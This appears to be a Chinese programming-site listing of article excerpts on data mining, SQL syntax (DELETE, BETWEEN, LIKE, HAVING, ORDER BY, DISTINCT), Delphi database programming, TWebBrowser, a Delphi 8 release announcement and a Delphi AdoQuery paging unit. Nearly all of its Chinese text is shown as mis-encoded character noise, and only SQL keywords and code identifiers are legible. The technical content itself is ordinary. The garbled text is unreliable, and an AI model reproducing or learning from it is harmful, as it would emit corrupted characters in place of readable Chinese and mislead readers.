Êý¾ÝÍÚ¾ò¹¤¾ßÄܹ»¶Ô½«À´µÄÇ÷ÊÆºÍÐÐΪ½øÐÐÔ¤²â£¬´Ó¶øºÜºÃµØÖ§³ÖÈËÃǵľö²ß£¬±ÈÈ磬¾¹ý¶Ô¹«Ë¾Õû¸öÊý¾Ý¿âϵͳµÄ·ÖÎö£¬Êý¾ÝÍÚ¾ò¹¤¾ß¿ÉÒԻشðÖîÈç¡°Äĸö¿Í»§¶ÔÎÒÃǹ«Ë¾µÄÓʼþÍÆÏú»î¶¯×îÓпÉÄÜ×÷³ö·´Ó¦£¬ÎªÊ²Ã´¡±µÈÀàËÆµÄÎÊÌâ¡£ÓÐЩÊý¾ÝÍÚ¾ò¹¤¾ß»¹Äܹ»½â¾öһЩºÜÏûºÄÈ˹¤Ê±¼äµÄ´«Í³ÎÊÌ⣬ÒòΪËüÃÇÄܹ»¿ìËÙµØä¯ÀÀÕû¸öÊý¾Ý¿â£¬ÕÒ³öһЩר¼ÒÃDz»Òײì¾õµÄ¼«ÓÐÓõÄÐÅÏ¢¡£ ÏÂÎĽ«¶ÔÊý¾ÝÍÚ¾òµÄ»ù±¾¼¼Êõ×÷Ò»¸ö¼òµ¥µÄ½éÉÜ¡£Êý¾ÝÍÚ¾òµÄ»ù´¡ Êý¾ÝÍÚ¾ò¼¼ÊõÊÇÈËÃdz¤ÆÚ¶ÔÊý¾Ý¿â¼¼Êõ½øÐÐÑо¿ºÍ¿ª·¢µÄ½á¹û¡£Æð³õ¸÷ÖÖÉÌÒµÊý¾ÝÊÇ´æ´¢ÔÚ¼ÆËã»úµÄÊý¾Ý¿âÖеģ¬È»ºó·¢Õ¹µ½¿É¶ÔÊý¾Ý¿â½øÐвéѯºÍ·ÃÎÊ£¬½ø¶ø·¢Õ¹µ½¶ÔÊý¾Ý¿âµÄ¼´Ê±±éÀú¡£Êý¾ÝÍÚ¾òʹÊý¾Ý¿â¼¼Êõ½øÈëÁËÒ»¸ö¸ü¸ß¼¶µÄ½×¶Î£¬Ëü²»½öÄܶԹýÈ¥µÄÊý¾Ý½øÐвéѯºÍ±éÀú£¬²¢ÇÒÄܹ»ÕÒ³ö¹ýÈ¥Êý¾ÝÖ®¼äµÄDZÔÚÁªÏµ£¬´Ó¶ø´Ù½øÐÅÏ¢µÄ´«..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(7)
µã»÷£º2382¡¡·¢²¼ÈÕÆÚ£º11/03
±íµÄɾ³ý ¡¡¡¡¡¡DELETEÓï¾ä¡¡¡¡ÎÒÃÇ¿ÉÒÔÀûÓÃDELETEÓï¾ä£¬½«±í¸ñÖеļǼɾ³ý¡£(×¢Ò⣺¼Ç¼±»É¾³ýºó£¬ÎÞ·¨ÔÙ¸´Ô£¬ËùÒÔÌõ¼þÉèÖÃÒªÕýÈ·)DELETE[table.*]FROM tableexpressionWHERE criteria tableÓûɾ³ý¼Ç¼µÄ±í¸ñÃû³Æ£¬Ò²¿ÉÒÔÓÃ*À´È¡´ú¡£ tableexpressionÒ»¸ö»òÒ»¸öÒÔÉϱí¸ñµÄÃû³Æ¡£´ËÒ»²ÎÊý¿ÉÒÔΪµ¥Ò»µÄ±í¸ñÃû³Æ»òÊÇ´ÓINNER JOIN£¬LEFT JOIN£¬»òRIGHTJOIN µÈÔËËãËùµÃµ½µÄ½á¹û¡£ criteria¾ö¶¨±í¸ñÖмǼҪ±»É¾³ýµÄ±ê×¼¡£¡¡¡¡ÀýÈ磺¡¡¡¡ÈôÊÇÎÒÃÇÒª½«Ö°Ô±±í¸ñÖÐÐÕÃûÐÕÃû½Ð×ö'ÀîÃû'µÄ¼Ç¼ɾ³ý£¬ÎÒÃÇ¿ÉÒÔÀûÓÃÏÂÃæµÄSQLÓï¾äÀ´Íê³É¡£¡¡¡¡DELETE * FROM Ö°Ô±±í¸ñ¡¡¡¡WHERE ÐÕÃû='ÀîÃû'; ¡¡ ¡¡¡¡Êý¾Ý¿â±í¸ñÏà¹ØµÄ²Ù×÷ÃüÁî¡¡¡¡SQL³ýÁË¿ÉÒÔ×÷Ϊ²éѯÓëÊý¾Ý¿â±í¸ñµÄ½¨Á¢µÄ¹¤¾ßÍ⣬¶ÔÓÚÊý¾Ý¿âÓë±í¸ñµÄн¨¡¢É¾ÐÞ¡¢Óëά»¤£¬Óë¾ßÓÐÏ൱²»´íµÄ¹¦ÄÜ£¬ÈôÊǶÁÕßʹÓÃSQLÃüÁîµÃÒË£¬¶ÔÓÚÕû¸öЧÂʵÄÌá¸ßÓÐןܴóµÄ°ïÖú£¬ËùÒÔ¶ÔÓÚSQLÓï¾äËù´øÀ´µÄÓÅÊÆ£¬³£³£»áÓöµ½Ò»¸öÇé¿ö£¬¾ÍÊÇ£º¡°µ±ÎÒÃǶԶà¸ö±í¸ñ×÷¸´ÔÓÓë¶à²½ÖèµÄ´¦Àíʱ£¬»òÐíSQLÖ»ÒªÒ»¸öÓï¾ä¾Í¿ÉÒÔÍê³ÉËùÓеÄÐèÇóÓëÄ¿±ê¡±£¬Õ§¿´Ò»Ï£¬»òÐí¾õµÃÓÐЩÐþÃµ«ÊǽÓÏÂÀ´µÄÕ½ڣ¬»áÈÃÄãÁ˽âÆäÖеÄÃî´¦¡£ ¡¡¡¡SELECT...INTOÓï¾ä¡¡¡¡ÎÒÃÇ¿ÉÒÔͨ¹ýÕâ¸öÃüÁ..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(5)
µã»÷£º1208¡¡·¢²¼ÈÕÆÚ£º11/03
BETWEEN...AND ÔËËã·û¡¡¡¡¾ö¶¨Ä³Ò»ÈËÊýÖµÊÇ·ñ½éÓÚÌØ¶¨µÄ·¶Î§Ö®ÄÚ£¬´ËÔËËã·ûÖ»¿ÉÒÔÓÃÔÚSQLµÄÓï¾äÖС£expr[Not]BETWEEN value1 AND value2 exprÖ¸¶¨Òª¼ÓÒÔ¼ÆËãµÄ×Ö¶ÎÓë±í´ïʽµÄ×éºÏ¡£ value1,value2ËùÖ¸Ã÷µÄÊýÖµ·¶Î§¡£ÀýÈ磺ÈôÊÇÒª´ÓÖ°Ô±±í¸ñ²éѯ³öËùÓÐÄêÁä½éÓÚ25-30ËêµÄÔ±¹¤£¬¿ÉÒÔÀûÓÃÏÂÃæµÄ³ÌÐòÀ´×ö¡£SELECT ÐÕÃû,ÄêÁä BETWEEN 25 AND 30FROM Ö°Ô±±í¸ñ£» ¡¡ ¡¡¡¡LIKE ²Ù×÷Êý¡¡¡¡ÓÃÀ´½«Ò»×Ö·û´®ÓëÁíÒ»ÌØ¶¨×Ö·û´®Ñùʽ(pattern)±È½Ï£¬²¢½«·ûºÏ¸Ã×Ö·û´®ÑùʽµÄ¼Ç¼¹ýÂ˳öÀ´¡£expression LIKE "pattern" expressionʹÓÃÔÚWHEREÌõ¼þ×Ӿ䣬SQL±í´ïʽ¡£ patternÓÃÒԱȽϵÄ×Ö·û´®Ñùʽ¡£ÀýÈ磺ÈôÊÇÄãÒª²éѯ³öËùÓÐÒÔ¡°ÀΪÊ×µÄÐÕÊÏ£¬¿ÉÒÔÀûÓÃÏÂÃæµÄʽ×Ó¡£Like "Àî*" LIKE²Ù×÷ÊýµÄ¶àÖÖ·¶Àý£º 1¡¢¶à¸ö×Ö·û£º (1)"a*a"¿Éɸѡ£º"aa","aBa","aBBBa"£¬²»ÄÜɸѡ£º"aBC"(2)"*ab*"¿Éɸѡ£º"abc","AABB","Xab"£¬²»ÄÜɸѡ£º"aZb","bac" 2¡¢ÌØÊâ×Ö·û£º"a¡°*¡±a"¿Éɸѡ£º"a*a"£¬²»ÄÜɸѡ£º"aaa" 3¡¢µ¥Ò»×Ö·û£º"a?a"¿Éɸѡ£º"aaa","a3a","aBa"£¬²»ÄÜɸѡ£º"aBBBa" 4¡¢µ¥Ò»Êý×Ö£º"a#a"¿Éɸѡ£º"a0a","a1a","a2a"£¬²»ÄÜɸѡ£º"aaa","a10a" 5¡¢×Ö·û·¶Î§£º"¡°a-z¡±"¿Éɸѡ£º"f","p","j"£¬²»ÄÜɸѡ£º"2","&a..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(4)
µã»÷£º1340¡¡·¢²¼ÈÕÆÚ£º11/03
HAVING Ìõ¼þ×Ӿ䡡¡¡Ö¸¶¨Ò»Ìض¨µÄ·Ö×é¼Ç¼£¬²¢Âú×ãHAVING ËùÖ¸¶¨µÄÌõ¼þ»ò״̬£¬µ«Ìõ¼þÊÇÕë¶Ô·Ö×éµÄÌõ¼þÉèÖá£SELECT fieldlistFROM tableWHERE selectcriteriaGROUP BY groupfieldlistHAVING groupcriteria fieldlistÏÔʾ±»²éѯµÄ×Ö¶ÎÃû³Æ¡£(¿ÉÓëALL£¬DISTINCT£¬DISTINCTROW£¬»òTOPÏà½áºÏ) tableÓû²éѯÊý¾ÝµÄ±í¸ñÃû³Æ¡£ selectcriteriaѡȡ±ê×¼¡£ groupfieldlist·Ö×é¼Ç¼µÄ×Ö¶ÎÃû³Æ£¬µ½¶à10¸ö×ֶΡ£¶øÕâЩ×ֶεÄ˳Ðò¾ö¶¨×î¸ßµ½×îµÍµÄ·Ö×é½×²ã¡£ groupcriteria¾ö¶¨Ê²Ã´ÑùµÄ·Ö×é¼Ç¼Ҫ±»ÏÔʾ¡£ HAVING¸úWHERE µÄÓ÷¨Ï൱ÀàËÆ£¬²»Í¬Ö®´¦ÔÚÓÚHAVING±ØÐëÓÃÓÚGROUPÖ®ºóµÄ·Ö×éÊý¾ÝÉÏ¡£ÀýÈ磺SELECT ·ÖÀà±à,Sum(¿â´æÊýÁ¿)FROM ²úÆ·±í¸ñGROUP BY ·ÖÀà±àºÅHAVING Sum(¿â´æÊýÁ¿)>100 AND ²úÆ·Ãû³Æ LIKE "*Ö½"£» ¡¡ ¡¡¡¡GROUP BY Ìõ¼þ×Ӿ䡡¡¡ÒÀ¾ÝÖ¸¶¨µÄ×ֶΣ¬½«¾ßÓÐÏàͬÊýÖµµÄ¼Ç¼ºÏ²¢³ÉÒ»Ìõ¡£SELECT fieldlistFROM tableWHERE criteriaGROUP BY groupfieldlist fieldlistÓû¶ÁÈ¡µÄ×Ö¶ÎÃû³Æ¡£(¿ÉÓëALL£¬DISTINCT£¬DISTINCTROW£¬»òTOPºÏ²¢Ê¹ÓÃ) table±»²éѯµÄ±í¸ñÃû³Æ¡£ groupfieldlist·Ö×é¼Ç¼µÄ×Ö¶ÎÃû³Æ£¬µ½¶à10¸ö×ֶΣ¬¶øÕâЩ×ֶεÄ˳Ðò¾ö¶¨×î¸ßµ½×îµÍµÄ·Ö×é²ã´Î¡£ÀýÈ磺SELECT ÐÕÃû,..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(3)
µã»÷£º1246¡¡·¢²¼ÈÕÆÚ£º11/03
¡¡¡¡ORDER BYÌõ¼þÓï¾ä¡¡¡¡´ËÌõ¼þ×Ӿ䣬ͨ³£ÓëSELECTÓï¾äºÏ²¢Ê¹ÓÃÄ¿µÄÊǽ«²éѯµÄ½á¹û£¬ÒÀÕÕÖ¸¶¨×ֶμÓÒÔÅÅÐò¡£¡¡¡¡SELECT fieldlist¡¡¡¡FROM table¡¡¡¡WHERE selectcriteria¡¡¡¡ORDER BY field[ASC|DESC][,field2[ASC|DESC][,...]] ¡¡¡¡fieldlist¡¡¡¡Óû²éѯµÄ×Ö¶ÎÃû³Æ¡£ÆäÖпÉÒÔÓëALL£¬DISTINCT£¬DISINCTROW£¬»òTOPÒ»ÆðÀ´Ê¹Óᣠ¡¡¡¡table¡¡¡¡Óû²éѯµÄ±í¸ñÃû³Æ¡£ ¡¡¡¡selectcriteria¡¡¡¡²éѯµÄ±ê×¼ÉèÖᣠ¡¡¡¡field1¡¡¡¡Ö¸¶¨ÒªÒÀÕÕÄǸö×Ö¶Î×÷ΪÅÅÐòµÄÒÀ¾Ý£¬ÈôÊÇÄãûÓмÓÉÏORDER BY²éѯ³öµÄÊý¾Ý¼¯½«²»»á×÷ÅÅÐòµÄ²Ù×÷¡£ ¡¡¡¡ASC¡¡¡¡µÝÔö˳ÐòÀà±ð¡£(ĬÈÏÖµ) ¡¡¡¡DESC¡¡¡¡µÝ¼õ˳ÐòÀà±ð¡£¡¡¡¡ÀýÈ磺¡¡¡¡»òÊÇÎÒÃÇÒª½«Êä³öÊý¾ÝÒÀ¾Ý³öÉúµÄÏȺó´ÎÐòÅÅÁУ¬¿ÉÒÔÀûÓÃÏÂÃæµÄÃüÁî¡£¡¡¡¡SELECT ÐÕÃû£¬ÉúÈÕ¡¡¡¡FROM Ö°Ô±±í¸ñ¡¡¡¡ORDER BY ÉúÈÕ¡¡¡¡SELECT LastName,FirstName¡¡¡¡FROM Employees¡¡¡¡ORDER BY LastName ASC; ¡¡¡¡IN Ìõ¼þ×Ӿ䡡¡¡Ö¸¶¨ÒªËÙʤÄÄÒ»¸öÍⲿÊý¾Ý¿âµÄ±í¸ñ¡£(±ØÐëÊÇMicrosoft JetÊý¾Ý¿âÒýÇæËù¿ÉÒÔÁ¬½ÓµÄÊý¾Ý¿â£¬ÈçdBase,ParadoxµÈµÈ)¡¡¡¡SELECT|INSERT]INTO destination IN{path|["path" "type"]|[""[type;DATABASE=path]]}FROM tableexpression IN{path|["path" "type"]|[..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(2)
µã»÷£º1556¡¡·¢²¼ÈÕÆÚ£º11/03
ÀýÈçÏÂÃæÕâÁ½¸öÀý×Ó½«»á¾ßÓÐÏàͬµÄЧ¹û£¬¶¼»á´ÓÖ°Ô±±í¸ñÖзµ»ØËùÓÐ×ֶεÄÊý¾Ý¡£¡¡¡¡ÀýÈ磺¡¡¡¡ÈôÊÇÎÒÃÇÒª²éѯ³öÖ°Ô±±í¸ñÖеÄËùÓмǼ£¬¿ÉÒÔͨ¹ýÏÂÃæµÄÓï¾äÀ´Íê³É¡£SELECT ALL* FROM Ö°Ô±±í¸ñ; DISTINCT¡¡¡¡ ¡¡¡¡¶Ôij¸ö±í¸ñËùÑ¡ÔñµÄ×Ö¶ÎÊý¾Ý£¬ÂÔ¹ýÖØ¸´µÄÇé¿ö£¬Ò²¾ÍÊÇ˵£¬Õë¶Ôij¸ö×ֶβéѯ³öÀ´µÄ¼Ç¼½á¹ûÊÇΨһµÄ¡£ÀýÈçÓÐÐí¶à´æ·ÅÔÚÖ°Ô±±í¸ñµÄÖ°Ô±¡¡¡¡Êý¾Ý£¬Ò²Ðí»á¾ßÓÐÏàͬµÄÐÕÃû£¬ËùÒÔÈôÊÇÎÒÃÇÓÃSQLÓï¾äÖеÄSELECT DISTINCT£¬Ôò²éѯ³öÀ´µÄ½á¹û½«»áÕë¶Ô²»Ò»ÑùµÄÐÕÃû¼ÓÒÔɸѡ¡£ÈôÊÇÄú°Ñ¡¡¡¡DISTINCT ¼ÓÒÔÊ¡ÂÔ£¬ÔòÕâÑùµÄ²éѯ»áÏÔʾËùÓеļǼ¡£ ¡¡¡¡DISTINCTROW¡¡¡¡½«ÕûÌõ¼ÇÂ¼ÖØ¸´µÄ¼Ç¼ºöÂÔµô£¬¶ø²»ÊÇÖ»ÓÐÕë¶Ôijһ¸ö×ֶεÄÊý¾Ý¡£ ¡¡¡¡table¡¡¡¡Ö¸¶¨²éѯ¼Ç¼ËùÐèÒªµÄ±í¸ñ¡£¡¡¡¡ÀýÈ磺¡¡¡¡SELECT DISTINCTROW ¹«Ë¾Ãû³Æ¡¡¡¡FROM ¹Ë¿Í±í¸ñ INNER JOIN ¶©µ¥±í¸ñ¡¡¡¡ON ¹Ë¿Í±í¸ñ.¹Ë¿ÍID£½¶©µ¥±í¸ñ.¹Ë¿ÍID¡¡¡¡ORDER BY ¹«Ë¾Ãû³Æ;¡¡¡¡Èç¹ûÄúºöÂÔ DISTINCTROW Ôò»á¶Ôÿ¸ö¹«Ë¾²úÉúÒ»ÐÐÒÔÏµĶ©µ¥Êý¾Ý¡£´ËÍ⣬ÈôÊÇDISTINCTROWÖ»ÓÐÓÃÔÚÒ»¸ö±í¸ñµ±ÖУ¬Ôò»á±»Ê¡ÂÔµô¡£ ¡¡¡¡TOP¡¡¡¡´ÓµÚÒ»Ìõ»ò×îºóÒ»Ìõ¿ªÊ¼£¨ÀûÓÃORDER BYÌõ¼þ×Ӿ䣩£¬·µ»ØÌض¨ÌõÊýµÄÊý¾Ý¡£¡¡¡¡ÀýÈ磺¡¡¡¡µ±ÄúÏëÒªÖªµÀÔÚ2000Ä꣬°à..
- [ Êý¾Ý¿â¿ª·¢ ] È«Ãæ½Ó´¥SQLÓï·¨(1)
µã»÷£º2139¡¡·¢²¼ÈÕÆÚ£º11/03
SQL¹¦ÄÜÓëÌØÐÔ¡¡¡¡Æäʵ£¬ÔÚÇ°ÃæµÄÎÄÕÂÖУ¬ÒѾÌá¼°SQLÃüÁîµÄһЩ»ù±¾¹¦ÄÜ£¬È»¶ø£¬Í¨¹ýSQLÃüÁ³ÌÐòÉè¼ÆÊ¦»òÊý¾Ý¿â¹ÜÀíÔ±£¨DBA£©¿ÉÒÔ£º¡¡¡¡£¨Ò»£©½¨Á¢Êý¾Ý¿âµÄ±í¸ñ¡££¨°üÀ¨ÉèÖñí¸ñËù¿ÉÒÔʹÓÃÖ®¿Õ¼ä£©¡¡¡¡£¨¶þ£©¸Ä±äÊý¾Ý¿âϵͳ»·¾³ÉèÖᣡ¡¡¡£¨Èý£©Õë¶Ôij¸öÊý¾Ý¿â»ò±í¸ñ£¬ÊÚÓèÓû§´æÈ¡È¨ÏÞ¡£¡¡¡¡£¨ËÄ£©¶ÔÊý¾Ý¿â±í¸ñ½¨Á¢Ë÷ÒýÖµ¡£¡¡¡¡£¨Î壩ÐÞ¸ÄÊý¾Ý¿â±í¸ñ½á¹¹¡££¨Ð½¨¡¢É¾³ý»òÊÇÐ޸ıí¸ñ×ֶΣ©¡¡¡¡£¨Áù£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄн¨¡£¡¡¡¡£¨Æß£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄɾ³ý¡£¡¡¡¡£¨°Ë£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄÐ޸ġ£¡¡¡¡£¨¾Å£©¶ÔÊý¾Ý¿â½øÐÐÊý¾ÝµÄ²éѯ¡£¡¡¡¡Õ⼸Ïî±ãÊÇͨ¹ýSQLÃüÁî¿ÉÒÔÍê³ÉµÄÊÂÇ飬¿´ÆðÀ´ÊDz»ÊÇ±ÈÆð¡°²éѯ¡±Á½¸ö×ÖËù´ú±íµÄ¹¦ÄÜÒª¶àµÄ¶àÁËÄØ£¿ ¡¡¡¡SQLÓï·¨µÄ·ÖÀà¡¡¡¡ÆäʵSQLÃüÁî²¢²»ÊǷdz£¶à£¬¿ÉÊÇÒª°ÑSQLÓõ½³öÉñÈ뻯£¬È´Ò²Ö»ÐèÒª¶Ì¶Ì¼¸¸öÃüÁî±ã¹»£¬ÒòΪSQLÃüÁîÊÇÕë¶Ô¹ØÏµÐÍÊý¾Ý¿âËù½¨Á¢³öÀ´µÄÓï·¨ÐðÊö£¬ËùÒÔSQLÔÚÕâÀàÊý¾Ý¿âÖÐËù·¢»ÓµÄ¹¦Äܷdz£µÄÇ¿£¬ÒÔϽ«Õë¶ÔÔÚVBÖг£ÓõÄSQLÓï·¨»ù±¾ÃüÁî¼ÓÒÔ·ÖÀà½éÉÜ¡£ÔÚ˵Ã÷SQLµÄÃüÁîÒÔ¼°Ê¹ÓÃÓ﷨֮ǰ£¬ÒÔϽ«SQL×öÁ˵ķÖÀ࣬ÔÚÖÂÉÏSQLÓï·¨ËùʹÓõ½µÄÀàÐÍ£¬¿ÉÒÔ˵¶¼ÒѰüº¬ÔÚÕâЩÀà±ðµ±ÖС£ ¡¡¡¡µÚÒ»Àà¡¢ÊôÐÔ´Ê£¨Predicates£©¡¡¡¡ÔÚSQLÃüÁî..
- [ Êý¾Ý¿â¿ª·¢ ] ¾«Í¨Êý¾Ý¿âϵÁÐÖ®ÈëÃÅ-¼¼ÇÉÆª4
µã»÷£º1727¡¡·¢²¼ÈÕÆÚ£º09/26
Êý¾Ý¿â±à³ÌʾÀý¡¡¡¡ ¡¡¡¡ÔÚ±¾´Î½²×ùÖУ¬ÎÒÃÇÒÔDelphi5Ϊ¿ª·¢¹¤¾ß£¬±ê×¼µÄparadox±íΪºǫ́Êý¾Ý¿â£¬À´Ïò´ó¼Ò½éÉÜÈçºÎ½øÐÐ×î¼òµ¥µÄÊý¾Ý¿â±à³Ì¡£ÔÚ±¾ÀýÖУ¬ÎÒÃǽ«ÊµÏÖ¶ÔÒ»¸öÊý¾Ý±íµ¥µÄÌí¼Ó¡¢Ð޸ġ¢É¾³ýÒÔ¼°¶Ô±íÖÐÊý¾Ý½øÐвéѯµÄ¹¦ÄÜ¡£ ¡¡¡¡±¾ÀýËùʹÓõļÆËã»úÈíÓ²¼þ»·¾³Îª£ºWindows NT 4.0 Server£¬Borland Delphi 5£¬PIII550£¬256MÄÚ´æ¡£µ±È»À²£¬Ò»°ãµÄÅóÓÑÔÚWin98µÄ»·¾³Ï»òÕßWin2000µÄ»·¾³Ï¶¼¿ÉÒÔ°´ÕÕ±¾ÀýµÄ²½ÖèÀ´±à³ÌÐòµÄ¡£±ÊÕߵĻúÆ÷Ö÷ÒªÓÃ×÷·þÎñÆ÷£¬ËùÒÔ¾ÍÔÚ·þÎñÆ÷ÉϱàÀ²¡£·Ï»°ÉÙ˵£¬ÏÖÔÚ¿ªÊ¼£º ¡¡¡¡ÔÚÕýʽ±àд³ÌÐò֮ǰҪÓÐÐí¶à×¼±¸¹¤×÷£¬Õ⵱Ȼ°üÀ¨Borland Delphi 5µÄ°²×°¡£Delphi5×ÔÉí´øÁ˶Աê×¼Êý¾Ý±íparadoxµÄÇý¶¯£¨ºÍһЩfoxϵÁÐÊý¾Ý¿âÈí¼þµÄ.dbÎļþÊǼæÈݵģ¬ÕâЩÎļþ¶¼¿ÉÒÔÓÉDelphiÖ±½Ó¶ÁÈ¡£©¡£ ¡¡¡¡³ÌÐò±àдµÄµÚÒ»²½Ê×ÏÈÊÇÊý¾Ý±í£¨¼´.dbÎļþ£©µÄ½¨Á¢¡£ÔÚÕâÒ»²½ÒªÓõ½Delphi×Ô´øµÄÒ»¸ö¹¤¾ß½ÐDatabase Desktop¡£Õâ¸ö¹¤¾ßÖ÷ÒªÓÃÀ´¶Ô±í¸ñ½øÐвÙ×÷£¬Ëü²»½ö¿ÉÒÔ²Ù×÷Ïñ.dbÎļþÕâÑùµÄ±ê×¼±í¸ñ£¬»¹¿ÉÒÔ·ÃÎÊÏñOracle¡¢SQL ServerµÈ´óÐÍÊý¾Ý¿âµÄÎļþ£¬¹¦ÄÜ¿ÉÒÔ˵ÊǺÜÇ¿´óµÄ¡£´ò¿ªDatabase Desktop£¬Ñ¡ÔñFile£New£Table£¬È»ºóÑ¡Ôñparadox7£¬³öÏÖÈçϽçÃæ£º..
- [ ] TWebBrowserµÄ»ù±¾Ó¦ÓÃ
µã»÷£º1119¡¡·¢²¼ÈÕÆÚ£º08/29
żȻµÄ»ú»áÐèҪʹÓÃTWebBrowser£¬ÔÚ¿ª·¢¹ý³ÌÖÐÉæ¼°µ½Ò»Ð©±È½Ï²»·ôdzµÄ¶«Î÷£¬ÓÚÊÇÃâ²»ÁËËÑ×ÊÁÏ£¬·CSDNµÄÌû×Ó£¬ÖÕÓÚ°ÑÒª×öµÄ¶«Î÷×÷Á˳öÀ´£¬Í¬Ê±¶ÔÓÚTWebBrowserÒ²ÓÐÁ˳õ²½µÄÁ˽⡣ͬʱ¿´µ½ºÜ¶àCSDNÉϵIJ»ÉÙÅóÓÑÒ²ÔÚTWebBrowserÉÏ´æÔںܶàÒÉÎÊ£¬ÓÚÊǰÑ×Ô¼ºÕâ¶Îʱ¼äËùµÃµÄÄóöÀ´Óë´ó¼Ò·ÖÏí¡£»¹ÊÇÄǾ仰£¬±¾ÈËˮƽºÜÍÝ£¬ËµµÄ²»¶ÔµÄ»°¾´ÇëÖ¸³ö£¬²»Òª¿ÍÆø£¬·ñÔò²»µ«ÎÒ×Ô¼ºÑ§´íÁ˶«Î÷£¬Ò²Èÿ´ÕâÆªÎÄÕµÄÈËÎóÈëÆç;¡£·Ï»°ÉÙ˵ÕýÎÄ¿ªÊ¼¡£
Ê×ÏÈÎÒÃÇÒªÈÏʶµ½TWebBrowserÆäʵÊÇDelphi¶ÔInternet Explorer BrowserµÄ·â×°£¬Ò²¾ÍÊÇ˵ËüÊÇÒ»¸öActiveX¿Ø¼þ£¬¿´¹ýTWebBrowser´úÂëµÄÅóÓѻᷢÏÖÕâ¸ö¿Õ¼äµÄËùÓз½·¨µÄʵÏÖ²¿·Ö¶¼µ÷ÓÃÁËDefaultInterfaceµÄ·½·¨£¬¶øTWebBrowserµÄÕâ¸öÊôÐÔÊÇÒ»¸öIWebBrowser2½Ó¿ÚÀàÐ͵ĶÔÏó£¬Õâ¸ö½Ó¿Ú¾ÍÊÇIEµÄ½Ó¿Ú¡£ÎÒÃÇÔÚʹÓÃTWebBrowser´úÌæIEä¯ÀÀÆ÷µÄÄ¿µÄ´ó²¿·ÖÊÇΪÁËÄܹ»ÈóÌÐò´¦ÀíÒ³Ãæ£¬ÊµÏÖ×Ô¶¯¶ÔWebApplicationµÄÇëÇó£¬ËùÒÔÎÒÃÇÊ×ÏÈÏëµÃµ½µÄ¾ÍÊÇTWebBrowserËùä¯ÀÀµÄÄÚÈÝ¡£TWebBrowserµÄDocumnetÊôÐÔÕýÊÇÕâÒ»ÄÚÈÝ£¬DocumentÆäʵÊÇÒ»¸öIHTMLDocument2£¬µ«ÊÇËü±»ÉùÃ÷ΪIDispatch½Ó¿ÚÀàÐÍ£¬ÎÒÃÇÐèÒª°ÑËüת»¯ÎªIHTM..
- [ ] 2003-11-03 Borland ·¢²¼ Delphi 8 for .NET
µã»÷£º288¡¡·¢²¼ÈÕÆÚ£º08/29
еĿª·¢»·¾³ÎªDelphi¿ª·¢Õß¼ò»¯ÁËתÏò.NET¿ò¼ÜµÄ·½Ê½
2003 Borland¿ª·¢Õß´ó»á£¬Ê¥ÇÇÖΣ¬¼ÓÀ︥ÀïÑÇÖÝ ¨C 2003Äê11ÔÂ3ÈÕ£ºBorlandÈí¼þ¹«Ë¾£¨ÄÉ˹´ï¿Ë´úÂ룺BORL£©½ñÌìÐû²¼ÍƳöBorland Delphi 8 for the Microsoft .NET Framework¡£Ð°汾µÄDelphiµÄÉè¼ÆÄ¿µÄÊÇÈÃDelphi¿ª·¢ÕßÄܹ»´´½¨»ùÓÚ.NET¿ò¼ÜµÄÓ¦Ó㬲¢ÇÒ¿ÉÒÔÒÆÖ²ÏÖ´æµÄWin32 Delphi³ÌÐòµ½.NET¿ò¼ÜÉÏ¡£ÓÉÓÚ»ùÓÚ.NET¿ò¼ÜµÄ¿ª·¢Ô½À´Ô½¶à£¬ÕâÖÖ´ÓWin32µ½.NETµÄ×ªÒÆÕý±äµÃÔ½À´Ô½ÖØÒª¡£¸ù¾ÝÐÐÒµ·ÖÎö¹«Ë¾Gartner¼¯Íŵı¨¸æ£¬µ½2004ÄêÖÐÆÚ£¬´ó¶àÊýÖ÷Á÷×éÖ¯¶¼ÆÚÍû²ÉÈ¡Ðж¯£¬°ÑÄÇЩµ½2007Ä껹ÐèҪʹÓõÄWin32Ó¦ÓÃÓëCOMÓ¦Óã¬ÒÆÖ²µ½Î¢ÈíµÄ.NET¿ò¼ÜÉÏ¡£
¡°Î¢Èí¶ÔÓÚ¿ª·¢ÕßµÄÕ½ÂÔ·½Ïò¾ÍÊDZ»ÍйܴúÂ롪½¨ÔìÔÚ½ñÌìµÄ.NET¿ò¼ÜÉÏÒÔ¼°ÏÂÒ»´úWindows 'Longhorn'µÄWinFXÉÏ¡£¡±Î¢Èí¹«Ë¾¿ª·¢ÕßÓëÆ½Ì¨Ðû´«²¿ÃŵÄÖ÷¹ÜJohn Montgomery˵¡£¡°×Ô´ÓBorland 1995Äê·¢²¼DelphiµÄµÚÒ»¸ö°æ±¾ÒÔÀ´£¬Delphi¿ª·¢Õß¾ÍÒ»Ö±ÊÇWindows¿ª·¢ÕßÉçȺÖеÄÁìÏÈÕß¡£ÏÖÔÚ£¬Ëæ×ÅDelphi8µÄÃæÊÀ£¬BorlandÇå³þµØÃè»æÁËDelphi¿ª·¢Î´À´µÄ·½Ïò£¬Í¬Ê±ÈÃÒÆÖ²µ½±»ÍйܴúÂëµÄ¹¤×÷Ò²±äµÃ¸ü¼ÓÈÝÒ×ÁË¡£¡±
»ñµÃ´ó½±µÄDelphi¿ª·¢»·¾³µÄ×îа汾ÌṩÁ˶ÔÓÚËùÓÐ.NET¿ò¼ÜÀàµÄÖ§³Ö¡£¿ª·¢ÕßÃ..
- [ ] ÀýÓÃAdoQuery·ÖÒ³
µã»÷£º463¡¡·¢²¼ÈÕÆÚ£º08/29
Ê×ÏÈÔÚ´°ÌåÉϷŸölistview,Á½¸öbutton£¬Ò»¸ölabel,Ò»¸öadoquery,Ò»¸öadoconnectionÈ»ºóÓÃadoconnection½¨Á¢Ò»¸öÁ¬½Ó
unit Unit1;
interface
uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, DB, ADODB,Grids, DBGrids, StdCtrls, ComCtrls;
